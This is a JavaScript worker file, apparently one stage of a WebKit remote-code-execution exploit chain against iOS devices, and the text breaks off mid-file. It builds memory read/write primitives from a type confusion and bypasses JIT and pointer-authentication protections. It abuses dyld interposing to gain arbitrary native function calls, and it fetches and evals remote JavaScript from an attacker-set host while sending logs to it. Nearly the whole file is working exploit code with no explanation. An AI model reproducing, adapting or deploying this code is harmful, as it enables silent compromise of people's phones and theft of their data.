/ rce_worker.js
rce_worker.js
1 var SERVER_LOG; 2 let offsets; 3 let MessageName; 4 5 const no_cow = 1.1; 6 const unboxed_arr = [no_cow]; 7 const boxed_arr = [{}]; 8 9 self[0] = unboxed_arr; 10 self[1] = boxed_arr; 11 (() => { 12 const rce_begin = Date.now(); 13 class Encoder { 14 constructor(messageName, destinationID) { 15 this.argList = []; 16 if (arguments.length) { 17 this.messageName = messageName; 18 this.destinationID = destinationID; 19 this.encode('uint8_t', 0); 20 this.encode('uint16_t', this.messageName); 21 this.encode('uint64_t', this.destinationID); 22 } 23 } 24 encode(type, value) { 25 this.argList.push({ 26 type, 27 value 28 }); 29 return this; 30 } 31 encode8BitString(str) { 32 this.encode('uint32_t', str.length); 33 this.encode('bool', true); 34 this.argList.push({ 35 type: 'bytes', 36 value: str 37 }); 38 return this; 39 } 40 encodeNullString() { 41 this.encode('uint32_t', 0xffffffff); 42 return this; 43 } 44 static argumentAlignment(arg) { 45 switch (arg.type) { 46 case 'uint64_t': 47 case 'int64_t': 48 return 8; 49 case 'uint32_t': 50 case 'int32_t': 51 case 'float': 52 return 4; 53 case 'uint16_t': 54 case 'int16_t': 55 return 2; 56 case 'uint8_t': 57 case 'int8_t': 58 case 'bool': 59 return 1; 60 case 'bytes': 61 return 0; 62 default: 63 ASSERT_NOT_REACHED(`Encoder.argumentAlignment(): unexpected type name: ${arg.type}`); 64 } 65 } 66 static argumentSize(arg) { 67 switch (arg.type) { 68 case 'uint64_t': 69 case 'int64_t': 70 return 8; 71 case 'uint32_t': 72 case 'int32_t': 73 case 'float': 74 return 4; 75 case 'uint16_t': 76 case 'int16_t': 77 return 2; 78 case 'uint8_t': 79 case 'int8_t': 80 case 'bool': 81 return 1; 82 case 'bytes': 83 if (typeof arg.value == 'string') { 84 return arg.value.length; 85 } else { 86 return arg.value.byteLength; 87 } 88 default: 89 ASSERT_NOT_REACHED(`argumentSize(): unexpected type name: ${arg.type}`); 90 } 91 } 92 buffer() { 93 if (this.__buffer) return this.__buffer; 94 let bufferSize = 0; 95 for (const arg of this.argList) { 96 const alignment = Encoder.argumentAlignment(arg); 97 const remainder = bufferSize % alignment; 98 if (remainder) { 99 bufferSize += alignment - remainder; 100 } 101 bufferSize += Encoder.argumentSize(arg); 102 } 103 const buffer = new ArrayBuffer(bufferSize); 104 const view = new DataView(buffer); 105 let bufferOffset = 0; 106 for (const arg of this.argList) { 107 const alignment = Encoder.argumentAlignment(arg); 108 const remainder = bufferOffset % alignment; 109 if (remainder) { 110 bufferOffset += alignment - remainder; 111 } 112 switch (arg.type) { 113 case 'float': 114 view.setFloat32(bufferOffset, arg.value, true); 115 break; 116 case 'uint64_t': 117 view.setBigUint64(bufferOffset, arg.value, true); 118 break; 119 case 'int64_t': 120 view.setBigInt64(bufferOffset, arg.value, true); 121 break; 122 case 'uint32_t': 123 view.setUint32(bufferOffset, arg.value, true); 124 break; 125 case 'int32_t': 126 view.setInt32(bufferOffset, arg.value, true); 127 break; 128 case 'uint16_t': 129 view.setUint16(bufferOffset, arg.value, true); 130 break; 131 case 'int16_t': 132 view.setInt16(bufferOffset, arg.value, true); 133 break; 134 case 'uint8_t': 135 view.setUint8(bufferOffset, arg.value); 136 break; 137 case 'int8_t': 138 view.setInt8(bufferOffset, arg.value); 139 break; 140 case 'bool': 141 view.setInt8(bufferOffset, !!arg.value); 142 break; 143 case 'bytes': 144 const buffer_u8 = new Uint8Array(buffer); 145 if (typeof arg.value == 'string') { 146 for (let i = 0; i < arg.value.length; ++i) buffer_u8[bufferOffset + i] = arg.value.charCodeAt(i); 147 } else { 148 for (let i = 0; i < arg.value.byteLength; ++i) buffer_u8[bufferOffset + i] = arg.value[i]; 149 } 150 break; 151 default: 152 ASSERT_NOT_REACHED(`buffer(): unexpected type name: ${arg.type}`); 153 } 154 bufferOffset += Encoder.argumentSize(arg); 155 } 156 return this.__buffer = buffer; 157 } 158 } 159 ; 160 let log_url_prefix; 161 const canvas = new OffscreenCanvas(1, 1); 162 const ab = new ArrayBuffer(8); 163 const f64 = new Float64Array(ab); 164 const u32 = new Uint32Array(ab); 165 const u64 = new BigUint64Array(ab); 166 const u8 = new Uint8Array(ab); 167 BigInt.prototype.hex = function () { 168 let s = '0x' + this.toString(16); 169 return s; 170 }; 171 BigInt.fromDouble = function (v) { 172 f64[0] = v; 173 return u64[0]; 174 }; 175 BigInt.prototype.asDouble = function () { 176 u64[0] = this; 177 return f64[0]; 178 }; 179 BigInt.prototype.noPAC = function () { 180 return this & 0x7fffffffffn; 181 }; 182 BigInt.prototype.add = function (other) { 183 return this + other; 184 }; 185 BigInt.prototype.sub = function (other) { 186 return this - other; 187 }; 188 BigInt.prototype.asInt32s = function () { 189 u64[0] = this; 190 let lo = u32[0]; 191 let hi = u32[1]; 192 if (hi >= 0x80000000) { 193 hi = hi - 0x100000000 & 0xffffffff; 194 } 195 if (lo >= 0x80000000) { 196 lo = lo - 0x100000000 & 0xffffffff; 197 } 198 return [lo, hi]; 199 }; 200 let read64_biguint64arr = new BigUint64Array(4); 201 ArrayBuffer.prototype.data = function () { 202 return p.read64(p.read64(p.addrof(this) + 0x10n) + 0x10n); 203 }; 204 BigUint64Array.prototype.data = function () { 205 return p.read64(p.addrof(this) + 0x10n); 206 }; 207 Uint8Array.prototype.data = function () { 208 return p.read64(p.addrof(this) + 0x10n); 209 }; 210 function sleep(ms) { 211 const begin = Date.now(); 212 while (Date.now() - begin < ms); 213 } 214 let logStart = new Date().getTime(); 215 let logEntryID = 0; 216 function print(x, reportError = false, dumphex = false) { 217 let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; 218 if (!SERVER_LOG && !reportError) return; 219 let obj = { 220 id: logEntryID++, 221 text: out, 222 } 223 if (dumphex) { 224 obj.hex = 1 225 obj.text = x 226 } 227 let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') 228 const xhr = new XMLHttpRequest(); 229 xhr.open("GET", host + "/log.html?" + req , false); 230 xhr.send(null); 231 } 232 let signal_ptr; 233 let read64_str = '\u4444'.repeat(0x10); 234 [][read64_str]; 235 let begin, ios_version, origin; 236 const p = {}; 237 function getJS(fname,method = 'POST') 238 { 239 try 240 { 241 let url = ""; 242 url = host + "/" + fname; 243 print("trying to fetch from:" + url); 244 let xhr = new XMLHttpRequest(); 245 xhr.open("GET", `${url}` , false); 246 xhr.send(null); 247 return xhr.responseText; 248 } 249 catch(e) 250 { 251 print("got error from getJS: " + e); 252 } 253 } 254 function loadJS(fname) { 255 let responseText = getJS(fname); 256 if (responseText) { 257 eval(responseText); 258 } 259 } 260 async function loadObjcClass(cls) { 261 const bitmap = await createImageBitmap(canvas); 262 const wrappedBitmap = p.read64(p.addrof(bitmap) + 0x18n); 263 const imagebuffer = p.read64(wrappedBitmap + 0x10n); 264 p.write64(imagebuffer + 0x20n, cls); 265 bitmap.close(); 266 } 267 let slow_fcall_resolve; 268 self.onmessage = async function (e) { 269 const data = e.data; 270 switch (data.type) { 271 case 'stage1': 272 { 273 try 274 { 275 begin = data.begin; 276 ios_version = data.ios_version; 277 origin = data.origin; 278 const device_model = data.device_model; 279 const chipset = data.chipset; 280 const offsets = data.offsets; 281 const slide = data.slide; 282 host = data.desiredHost; 283 SERVER_LOG = data.SERVER_LOG; 284 print("inside stage1"); 285 p.addrof = function addrof(o) { 286 boxed_arr[0] = o; 287 return BigInt.fromDouble(unboxed_arr[0]); 288 } 289 p.fakeobj = function fakeobj(addr) { 290 unboxed_arr[0] = addr.asDouble(); 291 return boxed_arr[0]; 292 } 293 let scribble_element; 294 let scribbles = []; 295 let prev_addr = 0n; 296 for (let i = 0; i < 500; ++i) { 297 let o = { 298 p1: 1.1, 299 p2: 2.2 300 }; 301 if (p.addrof(o) - prev_addr === 0x20n) { 302 scribble_element = o; 303 break; 304 } 305 scribbles.push(o); 306 prev_addr = p.addrof(o); 307 } 308 let change_scribble_holder = { 309 p1: p.fakeobj(0x108240700000000n), 310 p2: scribble_element 311 }; 312 let change_scribble = p.fakeobj(p.addrof(change_scribble_holder) + 0x10n); 313 scribble_element.p3 = 1.1; 314 scribble_element[0] = 1.1; 315 let double_array_cell = BigInt.fromDouble(change_scribble[0]); 316 change_scribble_holder.p1 = p.fakeobj(double_array_cell); 317 const original_cell = change_scribble[0]; 318 p.write64 = function (addr, value) { 319 change_scribble[0] = original_cell; 320 change_scribble[1] = (addr + 0x10n).asDouble(); 321 if (value === 0n) { 322 scribble_element.p3 = 1; 323 delete scribble_element.p3; 324 } else if (value < 0x2000000000000n) { 325 scribble_element.p3 = p.fakeobj(value); 326 } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { 327 scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); 328 } else { 329 let off_addr = addr.add(8n); 330 let off_val = p.read64(off_addr); 331 let [hi, lo] = value.asInt32s(); 332 scribble_element.p3 = hi; 333 change_scribble[1] = (addr + 0x14n).asDouble(); 334 scribble_element.p3 = lo; 335 p.write64(off_addr, off_val); 336 } 337 }; 338 p.write16 = function (ptr, u16) { 339 let value = p.read64(ptr); 340 value &= ~0xffffn; 341 value |= u16; 342 p.write64(ptr, value); 343 }; 344 change_scribble[1] = p.addrof(read64_biguint64arr).add(8n).asDouble(); 345 let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); 346 read64_biguint64arr[0] = 0x10000000006n; 347 read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); 348 change_scribble[1] = p.addrof(read64_str).add(8n).asDouble(); 349 scribble_element[0] = read64_float64arr_bytes.asDouble(); 350 p.read64 = function (addr) { 351 read64_biguint64arr[1] = addr; 352 return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n | BigInt(read64_str.charCodeAt(2)) << 32n | BigInt(read64_str.charCodeAt(3)) << 48n; 353 }; 354 p.read32 = function (addr) { 355 read64_biguint64arr[1] = addr; 356 return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n; 357 }; 358 print("Finished prims succesfully"); 359 const vm = p.read64(p.read64(p.addrof(globalThis).add(0x10n)).add(0x38n)); 360 const heap = vm.add(0xc0n); 361 const isSafeToCollect = heap.add(0x241n); 362 p.write8 = function (ptr, u16) { 363 let value = p.read64(ptr); 364 value &= ~0xffn; 365 value |= u16; 366 p.write64(ptr, value); 367 }; 368 p.write8(isSafeToCollect, 0n); 369 print('vm: ' + vm.hex()); 370 print('heap: ' + heap.hex()); 371 print('isSafeToCollect: ' + isSafeToCollect.hex()); 372 p.device_model = device_model; 373 p.chipset = chipset; 374 globalThis.device_model = p.device_model; 375 p.offsets = offsets; 376 print(`slide: ${slide.hex()}`); 377 p.slide = slide; 378 p.write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); 379 p.write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); 380 print("after write"); 381 self.postMessage({ 382 type: 'prepare_dlopen_workers' 383 }); 384 } 385 catch(e) 386 { 387 print("got exception on stage1: " + e); 388 } 389 break; 390 } 391 case 'dlopen_workers_prepared': 392 { 393 const { 394 offsets 395 } = p; 396 const contexts = p.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); 397 print(`contexts: ${contexts.hex()}`); 398 const contexts_length = p.read64(contexts - 8n) >> 32n; 399 print(`contexts_length: ${contexts_length.hex()}`); 400 const dlopen_workers = []; 401 p.dlopen_workers = dlopen_workers; 402 for (let i = 0n; i < contexts_length; ++i) { 403 const ptr = contexts + i * 0x30n; 404 const key = p.read64(ptr); 405 if (!key) continue; 406 const context = p.read64(ptr + 0x20n); 407 const vtable = p.read64(context).noPAC(); 408 if (vtable != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) continue; 409 const script = p.read64(context + 0x150n); 410 const workerOrWorkletThread = p.read64(context + 0x160n); 411 const thread = p.read64(workerOrWorkletThread + 0x28n); 412 const Strong_globalScopeWrapper = p.read64(script + 0x20n); 413 const globalScopeWrapper = p.read64(Strong_globalScopeWrapper); 414 const butterfly = p.read64(globalScopeWrapper + 8n); 415 const id = p.read64(butterfly); 416 const bitmap = p.read64(butterfly + 8n); 417 if (id == 0xfffe000011111111n || id == 0xfffe000022222222n) { 418 p.dlopen_workers.push({ 419 thread: thread, 420 id: id, 421 bitmap: bitmap 422 }); 423 } else if (id == 0xfffe000033333333n) { 424 p.sub_worker = { 425 thread: thread, 426 id: id 427 }; 428 } 429 } 430 const defaultLoader = p.read64(offsets.AXCoreUtilities__DefaultLoader); 431 print(`defaultLoader: ${defaultLoader.hex()}`); 432 if (defaultLoader) { 433 const paciza_nullfunc = p.read64(offsets.WebCore__softLinkDDDFACacheCreateFromFramework); 434 print(`paciza_nullfunc: ${paciza_nullfunc.hex()}`); 435 const dispatchSource = p.read64(defaultLoader + 0x18n); 436 print(`dispatchSource: ${dispatchSource.hex()}`); 437 const dispatchSomething = p.read64(dispatchSource + 0x58n); 438 print(`dispatchSomething: ${dispatchSomething.hex()}`); 439 const dispatchBlock = p.read64(dispatchSomething + 0x28n); 440 print(`dispatchBlock: ${dispatchBlock.hex()}`); 441 p.write64(dispatchBlock + 0x20n, paciza_nullfunc); 442 } 443 const classes = [offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker]; 444 for (let i = 0; i < 2; ++i) { 445 const worker = dlopen_workers[i]; 446 const wrappedBitmap = p.read64(worker.bitmap + 0x18n); 447 print(`wrappedBitmap: ${wrappedBitmap.hex()}`); 448 const imageBuffer = p.read64(wrappedBitmap + 0x10n); 449 print(`imageBuffer: ${imageBuffer.hex()}`); 450 p.write64(imageBuffer + 0x20n, classes[i]); 451 } 452 print('Load TextToSpeech'); 453 await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); 454 print('TextToSpeech Loaded'); 455 const NSBundleTables = p.read64(offsets.Foundation__NSBundleTables_bundleTables_value); 456 print(`NSBundleTables: ${NSBundleTables.hex()}`); 457 const loadedFrameworks = p.read64(NSBundleTables + 0x20n); 458 print(`loadedFrameworks: ${loadedFrameworks.hex()}`); 459 const loadedFrameworks_length = p.read64(loadedFrameworks + 0x30n); 460 print(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); 461 const loadedFrameworks_buffer = p.read64(loadedFrameworks + 8n); 462 print(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); 463 let TextToSpeech_NSBundle; 464 for (let i = 0n; i < loadedFrameworks_length; ++i) { 465 const bundle = p.read64(loadedFrameworks_buffer + 8n * i); 466 if (bundle <= 0x1_00000000n) continue; 467 print(`bundle[${i}]: ${bundle.hex()}`); 468 const initialPath = p.read64(bundle + 0x28n); 469 if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; 470 TextToSpeech_NSBundle = bundle; 471 break; 472 } 473 print(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); 474 const TextToSpeech_CFBundle = p.read64(TextToSpeech_NSBundle + 0x10n); 475 print(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); 476 p.TextToSpeech_NSBundle = TextToSpeech_NSBundle; 477 p.TextToSpeech_CFBundle = TextToSpeech_CFBundle; 478 p.write64(TextToSpeech_NSBundle + 8n, 0x40008n); 479 p.write8(TextToSpeech_CFBundle + 0x34n, 0n); 480 p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); 481 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); 482 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); 483 p.write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); 484 p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); 485 self.postMessage({ 486 'type': 'trigger_dlopen1' 487 }); 488 break; 489 } 490 case 'check_dlopen1': 491 { 492 const { 493 offsets 494 } = p; 495 const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000011111111n); 496 print(`worker.thread: ${worker.thread.hex()}`); 497 const runtimeState = p.read64(offsets.libdyld__gAPIs); 498 p.runtimeState = runtimeState; 499 print(`runtimeState: ${runtimeState.hex()}`); 500 const runtimeState_vtable = p.read64(runtimeState).noPAC(); 501 print(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); 502 const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC(); 503 print(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); 504 const runtimeStateLock = p.read64(runtimeState + 0x70n); 505 print(`runtimeStateLock: ${runtimeStateLock.hex()}`); 506 p.runtimeStateLock = runtimeStateLock; 507 const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; 508 p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer; 509 const p_InterposeTupleAll_size = runtimeState + 0xc0n; 510 p.p_InterposeTupleAll_size = p_InterposeTupleAll_size; 511 print(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); 512 const stack_bottom = p.read64(worker.thread + 0x10n); 513 worker.stack_bottom = stack_bottom; 514 print(`stack_bottom: ${stack_bottom.hex()}`); 515 const stack_top = p.read64(worker.thread + 0x18n); 516 worker.stack_top = stack_top; 517 print(`stack_top: ${stack_top.hex()}`); 518 p.create_jsstring = function (ptr, size) { 519 const res = 'a'.repeat(8); 520 const str = p.read64(p.addrof(res) + 8n); 521 p.write64(str, size << 32n | 0x1000n); 522 p.write64(str + 8n, ptr); 523 return res; 524 }; 525 p.efficient_search = function (begin, end, bytes) { 526 const needle = String.fromCharCode(...bytes); 527 const finder = p.create_jsstring(begin, end - begin); 528 while (true) { 529 const index = finder.indexOf(needle); 530 if (index != -1) { 531 print(`index:${index}`); 532 return begin + BigInt(index); 533 } 534 } 535 }; 536 const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; 537 print(`dyld_offset: ${dyld_offset.hex()}`); 538 p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; 539 print(`p.dlopen_from_lambda_ret: ${p.dlopen_from_lambda_ret.hex()}`); 540 print(p.read64(p.dlopen_from_lambda_ret).hex()); 541 u64[0] = p.dlopen_from_lambda_ret; 542 const needle = [u8[0], u8[1], u8[2], u8[3]]; 543 const search_result = p.efficient_search(stack_top, stack_bottom, needle); 544 print(`search_result:${search_result.hex()}`); 545 const loader = search_result + 0x78n; 546 print(`loader:${loader.hex()}`); 547 const interposingTuples = new BigUint64Array(0x100 * 2); 548 p.interposingTuples = interposingTuples; 549 const interposingTuples_data_ptr = interposingTuples.data(); 550 print(`interposingTuples_data_ptr:${interposingTuples_data_ptr.hex()}`); 551 const prev_metadata = new BigUint64Array(4); 552 const prev_metadata_data_ptr = prev_metadata.data(); 553 p.prev_metadata = prev_metadata; 554 p.prev_metadata_data_ptr = prev_metadata_data_ptr; 555 print(`prev_metadata_data_ptr:${prev_metadata_data_ptr.hex()}`); 556 prev_metadata[0] = prev_metadata_data_ptr; 557 prev_metadata[1] = 1n; 558 const metadata = new BigUint64Array(4); 559 const metadata_data_ptr = metadata.data(); 560 print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); 561 p.metadata1 = metadata; 562 metadata[0] = prev_metadata_data_ptr; 563 metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n; 564 p.write64(loader, p_InterposeTupleAll_buffer - 0x10n); 565 p.write64(loader + 8n, metadata_data_ptr + 0x10n); 566 p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); 567 p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); 568 p.write64(p.runtimeStateLock + 0x20n, 0n); 569 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); 570 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); 571 p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); 572 print(`going to load AVSpeechSynthesisVoice`); 573 await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); 574 print(`succeeded to load`); 575 p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); 576 p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); 577 p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); 578 p.write64(runtimeStateLock + 0x20n, 0n); 579 p.write64(p.TextToSpeech_NSBundle + 8n, 0x40008n); 580 p.write8(p.TextToSpeech_CFBundle + 0x34n, 0n); 581 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); 582 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); 583 self.postMessage({ 584 'type': 'trigger_dlopen2' 585 }); 586 break; 587 } 588 case 'check_dlopen2': 589 { 590 const { 591 offsets 592 } = p; 593 print('check_dlopen2'); 594 const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000022222222n); 595 print(`worker.thread: ${worker.thread.hex()}`); 596 const stack_bottom = p.read64(worker.thread + 0x10n); 597 worker.stack_bottom = stack_bottom; 598 print(`stack_bottom: ${stack_bottom.hex()}`); 599 const stack_top = p.read64(worker.thread + 0x18n); 600 worker.stack_top = stack_top; 601 print(`stack_top: ${stack_top.hex()}`); 602 u64[0] = p.dlopen_from_lambda_ret; 603 const needle = [u8[0], u8[1], u8[2], u8[3]]; 604 const search_result = p.efficient_search(stack_top, stack_bottom, needle); 605 print(`search_result:${search_result.hex()}`); 606 const loader = search_result + 0x78n; 607 print(`loader:${loader.hex()}`); 608 const metadata = new BigUint64Array(4); 609 const metadata_data_ptr = metadata.data(); 610 print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); 611 p.metadata1 = metadata; 612 metadata[0] = p.prev_metadata_data_ptr; 613 metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n; 614 p.write64(loader, p.p_InterposeTupleAll_size - 0x10n); 615 p.write64(loader + 8n, metadata_data_ptr + 0x10n); 616 p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); 617 p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); 618 p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); 619 p.write64(p.runtimeStateLock + 0x20n, 0n); 620 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); 621 p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); 622 await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); 623 let interpose_index = 0; 624 function interpose(ptr, val) { 625 p.interposingTuples[interpose_index++] = val; 626 p.interposingTuples[interpose_index++] = ptr; 627 } 628 interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); 629 interpose(offsets.CMPhoto__kCMPhotoTranscodeOption_Strips, 0n); 630 interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); 631 interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); 632 interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); 633 interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen); 634 interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym); 635 interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); 636 while (p.read64(p.p_InterposeTupleAll_size) != 0x100n); 637 print('InterposeTupleAll.size has been written'); 638 const initMediaAccessibilityMACaptionAppearanceGetDisplayType = p.read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); 639 print(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); 640 const paciza_PAL_initPKContact = p.read64(offsets.WebCore__PAL_getPKContactClass); 641 print(`paciza_PAL_initPKContact: ${paciza_PAL_initPKContact.hex()}`); 642 p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, initMediaAccessibilityMACaptionAppearanceGetDisplayType); 643 p.write64(offsets.ImageIO__gImageIOLogProc, paciza_PAL_initPKContact); 644 p.write64(offsets.WebCore__initPKContact_once, 0xffffffffffffffffn); 645 p.write64(offsets.WebCore__initPKContact_value, 0n); 646 self.postMessage({ 647 type: 'sign_pointers' 648 }); 649 break; 650 } 651 case 'setup_fcall': 652 { 653 const { 654 offsets 655 } = p; 656 const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); 657 print(`paciza_invoker: ${paciza_invoker.hex()}`); 658 const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); 659 print(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); 660 const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); 661 print(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); 662 const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation); 663 print(`paciza_dlopen: ${paciza_dlopen.hex()}`); 664 const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata); 665 print(`paciza_dlsym: ${paciza_dlsym.hex()}`); 666 const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); 667 print(`paciza_signPointer: ${paciza_signPointer.hex()}`); 668 const gSecurityd = new BigUint64Array(0x100 / 8); 669 const gSecurityd_data_ptr = gSecurityd.data(); 670 p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr); 671 const slowFcallResult = new BigUint64Array(0x10 / 8); 672 const slowFcallResult_data_ptr = slowFcallResult.data(); 673 slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n; 674 p.slowFcallResult = slowFcallResult; 675 const invoker_x0 = new BigUint64Array(0x58); 676 const invoker_x0_data_ptr = invoker_x0.data(); 677 const invoker_arg = new BigUint64Array(0x10); 678 const invoker_arg_data_ptr = invoker_arg.data(); 679 invoker_x0[0x20 / 8] = slowFcallResult_data_ptr; 680 invoker_arg[0 / 8] = paciza_security_invoker_1; 681 invoker_arg[8 / 8] = invoker_x0_data_ptr; 682 p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr); 683 p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker); 684 function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { 685 invoker_arg[0 / 8] = paciza_security_invoker_1; 686 gSecurityd[0x78 / 8] = pc; 687 invoker_x0[0x28 / 8] = x0; 688 invoker_x0[0x30 / 8] = x1; 689 invoker_x0[0x38 / 8] = x2; 690 return new Promise(r => { 691 slow_fcall_resolve = r; 692 self.postMessage({ 693 type: 'slow_fcall' 694 }); 695 }); 696 } 697 function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) { 698 invoker_arg[0 / 8] = paciza_security_invoker_2; 699 gSecurityd[0xb8 / 8] = pc; 700 invoker_x0[0x28 / 8] = x0; 701 invoker_x0[0x30 / 8] = x1; 702 invoker_x0[0x38 / 8] = x2; 703 invoker_x0[0x40 / 8] = x3; 704 invoker_x0[0x48 / 8] = x4; 705 invoker_x0[0x50 / 8] = x5; 706 return new Promise(r => { 707 slow_fcall_resolve = r; 708 self.postMessage({ 709 type: 'slow_fcall' 710 }); 711 }); 712 } 713 const rope_resolver = []; 714 function resolve_rope(str) { 715 delete rope_resolver[str]; 716 } 717 function slow_dlopen(filename, flags) { 718 filename = filename + '\0'; 719 resolve_rope(filename); 720 const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); 721 return slow_fcall_1(paciza_dlopen, name_ptr, flags); 722 } 723 function slow_dlsym(handle, symbol) { 724 symbol = symbol + '\0'; 725 resolve_rope(symbol); 726 const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); 727 return slow_fcall_1(paciza_dlsym, handle, symbol_ptr); 728 } 729 const signPointer_self = new BigUint64Array(4); 730 const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n); 731 function slow_pacia(ptr, ctx) { 732 signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; 733 return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); 734 } 735 function slow_pacib(ptr, ctx) { 736 signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n; 737 return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); 738 } 739 const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n); 740 print(`libsystem_pthread: ${libsystem_pthread.hex()}`); 741 const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n); 742 print(`libsystem_malloc: ${libsystem_malloc.hex()}`); 743 